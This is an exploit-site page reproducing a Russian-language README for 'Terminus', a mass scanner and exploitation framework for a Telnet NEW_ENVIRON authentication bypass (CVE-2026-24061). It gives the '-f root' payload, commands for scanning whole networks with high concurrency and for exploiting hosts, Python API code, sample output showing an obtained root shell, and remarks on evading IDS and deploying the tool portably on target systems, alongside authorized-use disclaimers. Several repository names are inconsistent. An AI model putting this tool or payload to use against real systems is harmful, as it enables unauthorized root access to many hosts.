Sploitus

Exploit for Terrminus

kitploit · 2026-08-27

Exploit Code

MARKDOWN761 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RIDPATH-TERRMINUS-CVE-2026-2406
# Terminus - Сканер и фреймворк эксплуатации CVE-2026-24061

**Движок анализа безопасности для уязвимости обхода аутентификации и повышения привилегий CVE-2026-24061 в Telnet NEW_ENVIRON.**

![Terminus](https://assets.kitploit.com/production/public/readmes/52618/6e6b2efd998164808edd392ab91482e6a503f7b4db742881885202fee198159d/62aa5664ff3484c5d8bc8abb3ae1db24b62823c54d207447f34ab691711a50f1-display-v1.webp)

* * *

## Обзор

**Terminus** — это профессиональный инструмент исследования безопасности, предназначенный для авторизованного тестирования на проникновение и оценки уязвимости **CVE-2026-24061**. Эта критическая уязвимость затрагивает устаревшие реализации демона Telnet, позволяя неаутентифицированным удаленным злоумышленникам обходить аутентификацию и получать доступ уровня root.

### Что такое CVE-2026-24061?

CVE-2026-24061 — это уязвимость **удаленного выполнения кода** в службах Telnet, поддерживающих RFC 1572 (опция окружения Telnet). Уязвимость эксплуатирует некорректную санитизацию переменной окружения `USER` во время субсогласования NEW_ENVIRON:

  * **Обычная аутентификация:** `USER=john` → запрос пароля
  * **Полезная нагрузка эксплойта:** `USER=-f root` → обход аутентификации, предоставление root-оболочки



**Воздействие:**

  * Полный обход аутентификации (пароль не требуется)
  * Немедленное повышение привилегий до root
  * Полная компрометация системы



**Затронутые службы:**

  * Устаревший GNU Inetutils telnetd (в частности, версии до 2.7)
  * Прошивки IoT с уязвимыми реализациями Telnet
  * Промышленные системы управления с устаревшими службами Telnet



* * *

## Ключевые возможности

### Массовый сканер уязвимостей

  * **Высокопараллельное сканирование:** Сканирование 1000+ целей одновременно с помощью AsyncIO
  * **Поддержка CIDR:** Сканирование целых сетевых диапазонов (`192.168.0.0/24`, `10.0.0.0/8`)
  * **Два режима обнаружения:**
    * **Пассивный** (по умолчанию): быстрый, безопасный, обнаружение на основе сигнатур
    * **Активная проверка** (`--verify`): доказательство эксплуатации, подтверждение доступа uid=0 root
  * **Анализ баннеров:** идентификация типов и версий демонов по отпечаткам
  * **Оценка риска:** многоуровневая оценка уверенности (CRITICAL, HIGH, MEDIUM, LOW)



### Совместимый с RFC движок протокола

  * **Класс TerminusNegotiator:** чистый API для операций протокола Telnet 
    * `Terminus.handshake()` — рукопожатие, совместимое с RFC 854
    * `Terminus.exploit()` — доставка полезной нагрузки CVE-2026-24061
  * **Корректное согласование опций:** избегание обнаружения IDS/IPS за счет соответствия протоколу
  * **Конечный автомат:** надежная обработка последовательностей IAC (DO/DONT/WILL/WONT/SB/SE)



### Эксплуатация с авторизационным ограничением

  * **Интерактивная оболочка:** полноценная постэксплуатационная оболочка с доступом root
  * **Выполнение команд:** выполнение отдельных команд и захват вывода
  * **Сбор доказательств:** получение uid, переменных окружения, информации о системе
  * **Механизмы безопасности:**
    * Требуется явный флаг `--exploit`
    * Отключено в режиме пакетного сканирования
    * Аудиторское журналирование всех попыток эксплуатации



### Отчетность в нескольких форматах

  * **Терминал:** форматированные таблицы Rich с цветовой кодировкой уровней риска
  * **JSON:** интеграция SIEM/SOAR
  * **CSV:** отслеживание в электронных таблицах
  * **HTML:** подробные отчеты со статистикой
  * **Markdown:** вывод, удобный для документации



* * *

## Архитектура

### Основной движок: TerminusNegotiator

Сердце Terminus — класс `TerminusNegotiator`, обеспечивающий четкое разделение между обработкой протокола и логикой эксплуатации:```python from terminus import TerminusNegotiator

# Initialize engine

negotiator = TerminusNegotiator()

# Step 1: RFC 854 compliant handshake

await negotiator.handshake(target="192.168.1.100", port=23)

# Step 2: Deliver CVE-2026-24061 payload

result = await negotiator.exploit(payload="-f root")

if result.success: print(f"Root shell acquired: {result.evidence['uid']}")

root@kitploit:~
    
    
    ### Engine vs. Script Approach
    
    **Традиционные скрипты** (существующие инструменты):```
    Target → Raw Socket → Payload → Blind Execution → Hope for Shell
    

**Terminus engine** :``` Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment ↓ [Optional] Verified Exploitation → Evidence Collection → Report

root@kitploit:~
    
    
    ---
    
    ## Установка
    
    ### Требования
    - **Python 3.10+**
    - **Поддерживаемые платформы:**
      - Windows 10/11 (PowerShell)
      - Windows + WSL2 (Kali Linux, Parrot OS, Ubuntu)
      - Нативный Linux (Kali, Parrot, Ubuntu, Debian)
      - macOS (с Python 3.10+)
    
    ### Быстрый старт (все платформы)
    
    #### Windows (PowerShell)```powershell
    # Clone repository
    git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
    
    # Run setup script
    .\setup_env.ps1
    
    # Activate virtual environment
    .venv\Scripts\Activate.ps1
    
    # Verify installation
    terminus --version
    

#### Linux / WSL2 / macOS (Bash)```bash

# Clone repository

git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git cd Terminus-CVE-2025-2406

# Run setup script

chmod +x setup_env.sh ./setup_env.sh

# Activate virtual environment

source venv/bin/activate

# Verify installation

terminus --version

root@kitploit:~
    
    
    #### Ручная установка (все платформы)```bash
    # Clone repository
    git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
    cd Terrminus-CVE-2026-2406
    
    # Create virtual environment
    python3 -m venv venv
    
    # Activate (Linux/macOS/WSL)
    source venv/bin/activate
    
    # Activate (Windows PowerShell)
    # venv\Scripts\Activate.ps1
    
    # Install dependencies
    pip install -e .
    
    # Verify
    terminus --version
    

### Зависимости (кроссплатформенные)

  * `telnetlib3` — реализация протокола Telnet на AsyncIO
  * `rich` — терминальный интерфейс и форматирование (поддержка ANSI на Windows/Linux)
  * `pydantic` — валидация данных и модели
  * `aiofiles` — асинхронный ввод/вывод файлов
  * `jinja2` — шаблоны для отчётов
  * `pyyaml` — управление конфигурацией
  * `pathlib` — кроссплатформенная работа с путями (встроенный)



**Примечание:** Все зависимости написаны на чистом Python или имеют кроссплатформенные сборки. Компиляция под конкретную платформу не требуется.

* * *

## Автодополнение в оболочке (опционально)

Включите автодополнение по табуляции для более быстрого ввода команд:

### Bash```bash

_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash echo 'source ~/.terminus-complete.bash' >> ~/.bashrc source ~/.bashrc

root@kitploit:~
    
    
    ### Zsh```bash
    _TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
    echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
    source ~/.zshrc
    

### Fish```bash

_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish

root@kitploit:~
    
    
    ### PowerShell```powershell
    # Add to $PROFILE
    _TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression
    

**Протестируйте:** ```bash terminus  # Shows: scan, exploit, version terminus scan - # Shows: -t, -f, -p, --verify, etc.

root@kitploit:~
    
    
    ---
    
    ## Использование
    
    ### Режимы сканирования
    
    #### Сканирование одной цели```bash
    terminus scan -t 192.168.1.100
    

#### Сканирование диапазона CIDR```bash

terminus scan -t 192.168.1.0/24

root@kitploit:~
    
    
    #### Пакетное сканирование на основе файлов```bash
    # targets.txt contains one IP/CIDR per line
    terminus scan -f targets.txt --threads 500
    

#### Высококонкурентное сетевое сканирование```bash

terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200

root@kitploit:~
    
    
    ### Режимы обнаружения
    
    #### Пассивное обнаружение (по умолчанию — безопасно)```bash
    terminus scan -t target.com --passive-only
    

#### Агрессивное обнаружение (все эвристики)```bash

terminus scan -t target.com --aggressive

root@kitploit:~
    
    
    #### Режим активной проверки (Proof-of-Exploit)```bash
    terminus scan -t 192.168.1.100 --verify
    

## Использование

### Живая демонстрация

**Проверка версии:** ```powershell PS C:\terminus> terminus --version Terminus v1.0.0 CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework Signatures database: C:\terminus\signatures.db

root@kitploit:~
    
    
    **Пассивное сканирование (по умолчанию — консервативная оценка рисков):**```powershell
    PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323
    
    ================================================================
                            TERMINUS
           CVE-2026-24061 Scanner & Exploitation Framework
    ================================================================
    
    Parsing 1 targets...
    Found 1 valid targets
    
      Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00
    
    ╭────── Scan Summary ──────╮
    │ CVE: CVE-2026-24061      │
    │ Total Targets: 1         │
    │ Scanned: 1               │
    │ Failed: 0                │
    │ Timeouts: 0              │
    │                          │
    │ Vulnerability Breakdown: │
    │   Critical: 0            │
    │   High: 0                │
    │   Medium: 0              │
    │   Low: 1                 │
    │   Info: 0                │
    │                          │
    │ Duration: 3.53s          │
    │ Avg Scan Time: 3522.22ms │
    │                          │
    ╰──────────────────────────╯
    
                                     Terminus - CVE-2026-24061 Scan Results
    ╭───────────────┬──────┬───────────┬──────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
    │ Target        │ Port │  Status   │ Risk │ Daemon  │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
    ├───────────────┼──────┼───────────┼──────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
    │ 172.17.45.122 │ 2323 │ completed │ Low  │ unknown │ Unknown │     YES     │    -     │       3522.22 │
    ╰───────────────┴──────┴───────────┴──────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
    
    No vulnerable targets found
    

**Активная проверка с помощью --verify (доказательство эксплуатации):** ```powershell PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323 --verify

# ================================================================ TERMINUS CVE-2026-24061 Scanner & Exploitation Framework

Parsing 1 targets... Found 1 valid targets

Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 1 0:00:00

╭────── Scan Summary ──────╮ │ CVE: CVE-2026-24061 │ │ Total Targets: 1 │ │ Scanned: 1 │ │ Failed: 0 │ │ Timeouts: 0 │ │ │ │ Vulnerability Breakdown: │ │ Critical: 1 │ │ High: 0 │ │ Medium: 0 │ │ Low: 0 │ │ Info: 0 │ │ │ │ Duration: 8.04s │ │ Avg Scan Time: 8029.55ms │ │ │ ╰──────────────────────────╯

root@kitploit:~
    
    
                                   Terminus - CVE-2026-24061 Scan Results
    

╭───────────────┬──────┬───────────┬──────────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮ │ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │ ├───────────────┼──────┼───────────┼──────────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤ │ 172.17.45.122 │ 2323 │ completed │ Critical │ unknown │ Unknown │ YES │ ROOT │ 8029.55 │ ╰───────────────┴──────┴───────────┴──────────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯

Found 1 vulnerable targets!

root@kitploit:~
    
    
    **Интерактивная эксплуатация:**```powershell
    PS C:terminus> python -m terminus exploit -t 172.17.45.122 -p 2323 --yes
    
    ================================================================
                            TERMINUS
           CVE-2026-24061 Scanner & Exploitation Framework
    ================================================================
    
    Attempting exploitation of 172.17.45.122:2323...
    Payload: -f root
    
    CVE-2026-24061 exploitation attempt initiated with payload: -f root
    CVE-2026-24061 exploitation SUCCESSFUL - root access obtained
    
    [*] CVE-2026-24061 Interactive Shell Started
    [*] Type 'exit' or press Ctrl+C to quit
    
    whoami
    root
    ┌──[root@parrot]─[~]
    └──╼ #
    

**Ключевые наблюдения:**

  * **Пассивный режим** : обнаружена поддержка NEW_ENVIRON, но указан НИЗКИЙ уровень риска (консервативно)
  * **Активная проверка** : подтверждён root-доступ (uid=0), риск повышен до КРИТИЧЕСКОГО со статусом проверки "ROOT"
  * **Эксплуатация** : немедленная root-оболочка без запроса пароля



* * *

**Что делает:**

  * Сначала выполняет пассивное обнаружение (баннер + анализ протокола)
  * При подозрении на уязвимость пытается выполнить фактическую эксплуатацию с payload `-f root`
  * Подтверждает root-доступ, проверяя `uid=0` в ответе
  * Повышает риск до КРИТИЧЕСКОГО при подтверждении root-доступа
  * Выводит статус проверки в результатах сканирования



**Варианты использования:**

  * Высоконадёжная валидация для отчётов о соответствии требованиям
  * Демонстрации proof-of-concept
  * Подтверждение эксплуатируемости перед сообщением вендорам
  * Операции red team, требующие сбора доказательств



**Пример вывода:** ``` Target Port Status Daemon Risk Verified 192.168.1.100 23 VULNERABLE inetutils-telnetd CRITICAL ROOT ACCESS 192.168.1.101 23 VULNERABLE netkit-telnetd HIGH Not tested 192.168.1.102 23 SAFE OpenBSD-telnetd LOW N/A

root@kitploit:~
    
    
    **Пакетная проверка:**```bash
    terminus scan -f targets.txt --verify -o json -w verified_results.json
    

**Примечание:** Активная проверка подразумевает эксплуатацию. Используйте только с соответствующим разрешением.

### Форматы вывода

#### Вывод в формате JSON```bash

terminus scan -t 192.168.1.0/24 -o json > results.json

root@kitploit:~
    
    
    #### HTML-отчет```bash
    terminus scan -f targets.txt -o html -w report.html
    

#### Экспорт в CSV```bash

terminus scan -t 10.0.0.0/24 -o csv > vulnerabilities.csv

root@kitploit:~
    
    
    ### Эксплуатация (Только при авторизованном использовании)
    
    #### Интерактивная оболочка```bash
    terminus exploit -t 192.168.1.100
    # Requires confirmation prompt
    # Grants root shell on vulnerable target
    

#### Выполнение команд```bash

terminus exploit -t 192.168.1.100 -c "id"

# Output: uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
    
    
    #### Пользовательская нагрузка```bash
    terminus exploit -t 192.168.1.100 --payload "-f admin"
    

### Утилитарные команды

#### Обновление сигнатур уязвимостей```bash

terminus update-signatures

root@kitploit:~
    
    
    #### Проверка предыдущих результатов```bash
    terminus verify -f results.json
    

#### Показать версию и подписи```bash

terminus version

root@kitploit:~
    
    
    ---
    
    ## Настройка тестовой среды
    
    ### Для Red Team: Кроссплатформенное развертывание
    
    **Terminus разработан для портативного развертывания** — скопируйте каталог в любую систему Windows/Linux и запускайте без установки:```bash
    # Copy terminus directory to target system
    # No hardcoded paths - everything is relative
    
    # Run directly (no installation needed)
    cd terminus
    python3 -m terminus scan -t 192.168.1.0/24
    
    # All output stays in project directory:
    # - Logs: ./logs/terminus.log
    # - Reports: ./reports/
    # - Config: ./config.yaml
    

### Тестовая среда WSL2 (Windows)

**Рекомендуется для рабочих станций Red Team на Windows** — изолированная среда Linux для развертывания уязвимых тестовых сервисов:

#### Установка WSL2 с Kali или Parrot```powershell

# Windows PowerShell (Admin)

# Install WSL2

wsl --install

# Install Kali Linux

wsl --install -d kali-linux

# OR Install Parrot OS (if available)

# wsl --install -d ParrotOS

# Verify

wsl -l -v

root@kitploit:~
    
    
    #### Внутри WSL2 (Kali/Parrot)```bash
    # Update system
    sudo apt update && sudo apt upgrade -y
    
    # Install Terminus dependencies
    sudo apt install python3 python3-pip python3-venv
    
    # Install testing tools
    sudo apt install netkit-telnetd telnetd wireshark tcpdump
    
    # Clone and setup Terminus
    git clone https://github.com/ridpath/Terrminus-CVE-2026-2406
    cd Terminusb-CVE-2026-2406
    ./setup_env.sh
    source venv/bin/activate
    

#### Развертывание уязвимого тестового сервиса (только WSL2)

**ВНИМАНИЕ: Только в изолированных лабораторных средах. Никогда на производственных системах.** ```bash

# Inside WSL2

# Install vulnerable netkit-telnetd version

sudo apt install netkit-telnetd=0.17-*

# Configure for NEW_ENVIRON support

# Edit /etc/inetd.conf to enable telnet

# Start service

sudo systemctl restart inetd

# Test from Windows host

# From PowerShell:

# terminus scan -t $(wsl hostname -I)

root@kitploit:~
    
    
    ### Кроссплатформенная матрица тестирования
    
    Протестируйте Terminus на всех платформах, используемых вашей Red Team:
    
    | Платформа | Установка | Сканирование | Эксплуатация |
    |----------|-------------|----------|--------------|
    | Windows 10/11 (PowerShell) | Да | Да | Да |
    | WSL2 - Kali Linux | Да | Да | Да |
    | WSL2 - Parrot OS | Да | Да | Да |
    | WSL2 - Ubuntu | Да | Да | Да |
    | Native Kali Linux | Да | Да | Да |
    | Native Parrot OS | Да | Да | Да |
    | macOS | Да | Да | Да |
    
    ---
    
    ## Справочник по API
    
    ### Интеграция с Python```python
    import asyncio
    from terminus import TerminusScanner, TerminusExploiter, TerminusNegotiator
    from terminus.reporting.models import RiskScore
    
    async def scan_network():
        # High-level scanner
        async with TerminusScanner() as scanner:
            async for result in scanner.scan_targets(["192.168.1.0/24"]):
                if result.risk_score == RiskScore.CRITICAL:
                    print(f"CRITICAL: {result.target}")
                    print(f"   Daemon: {result.daemon_type} {result.version}")
                    print(f"   Confidence: {result.vulnerability_confidence:.2%}")
    
    async def exploit_target():
        # Direct engine usage
        negotiator = TerminusNegotiator()
        
        # Handshake
        success = await negotiator.handshake(target="192.168.1.100", port=23)
        if not success:
            print("Handshake failed")
            return
        
        # Exploit
        result = await negotiator.exploit(payload="-f root")
        if result.success:
            print(f"Root access obtained")
            print(f"Evidence: {result.evidence}")
    
    # Run
    asyncio.run(scan_network())
    

## Безопасность и этика

### Правовое предупреждение

**Этот инструмент предназначен ТОЛЬКО для:**

  * Авторизованных тестов на проникновение
  * Исследований в области безопасности в контролируемых средах
  * Соревнований CTF и учебных лабораторий
  * Оценок защитных мер безопасности с письменного разрешения



**Несанкционированное использование НЕЗАКОННО и неэтично.**

### Механизмы безопасности

  1. **Требуется авторизация:** Эксплуатация требует явного флага `--exploit`
  2. **Запросы подтверждения:** Интерактивное подтверждение перед эксплуатацией
  3. **Журналирование аудита:** Все попытки эксплуатации регистрируются с отметками времени
  4. **Ограничение одной цели:** Эксплуатация отключена в режиме пакетного сканирования
  5. **Ограничение скорости:** Предотвращает случайный DoS во время сканирования



### Ответственное раскрытие

Если вы обнаружили уязвимые системы с помощью Terminus:

  1. **НЕ** эксплуатируйте системы без письменного разрешения
  2. Сообщайте о находках владельцам систем через ответственное раскрытие
  3. Документируйте находки с помощью функций отчетности Terminus
  4. Следуйте рекомендациям по скоординированному раскрытию уязвимостей



* * *

## Ссылки

### Информация о CVE

  * **ID CVE:** CVE-2026-24061
  * **Критичность:** КРИТИЧЕСКАЯ (CVSS 9.8)
  * **Вектор:** Сетевой, без аутентификации, низкая сложность



### Исследования и реализация

  * **Первичное исследование:** SafeBreach-Labs CVE-2026-24061
  * **Эталонный эксплойт:** telnet_rce.py
  * **Пакетный сканер:** TryA9ain CVE-2026-24061



### Стандарты протоколов

  * **RFC 854:** Спецификация протокола Telnet
  * **RFC 1572:** Опция окружения Telnet



* * *

## Тестирование и валидация

### Покрытие тестами

  * Покрытие кода 90%+ с помощью pytest
  * Модульные тесты для всех основных модулей
  * Интеграционные тесты с имитацией Telnet-сервера
  * Бенчмарки производительности (1000 целей < 60 секунд)



### Контрольный список ручного тестирования

  * Сканировать уязвимый сервис (проверить обнаружение)
  * Сканировать пропатченный сервис (проверить отсутствие ложных срабатываний)
  * Проверить обход аутентификации (без запроса пароля)
  * Проверить повышение привилегий (uid=0)
  * Отслеживать оповещения IDS (проверить скрытность)
  * Тест производительности (1000+ целей)



* * *

## Конфигурация

### config.yaml (кроссплатформенный)

**Все пути указаны относительно корня проекта — работают на Windows, Linux и WSL без изменений:** ```yaml

# config.yaml - Cross-platform configuration

# All paths relative to project directory

scanner: default_port: 23 connect_timeout: 3.0 handshake_timeout: 5.0 max_concurrent: 1000 rate_limit: 100 # connections/second

detection: passive_only: true # Safe mode by default banner_timeout: 2.0 heuristic_checks: true

# Signature database (relative path)

signatures_db: "./signatures.db"

exploit: require_authorization: true default_payload: "-f root" evidence_collection: true interactive_shell: true

reporting: default_format: "terminal" include_safe_targets: false verbosity: "normal"

# Output directory (relative path - works on Windows/Linux)

output_dir: "./reports"

logging: level: "INFO"

# Log file (relative path - automatic directory creation)

file: "./logs/terminus.log" format: "json" console_enabled: true

* * *

## Acknowledgments

  * **SafeBreach Labs:** Original CVE-2026-24061 research and exploit implementation
  * **TryA9ain:** Batch scanning approach inspiration
  * **RFC Authors:** Telnet protocol specifications



* * *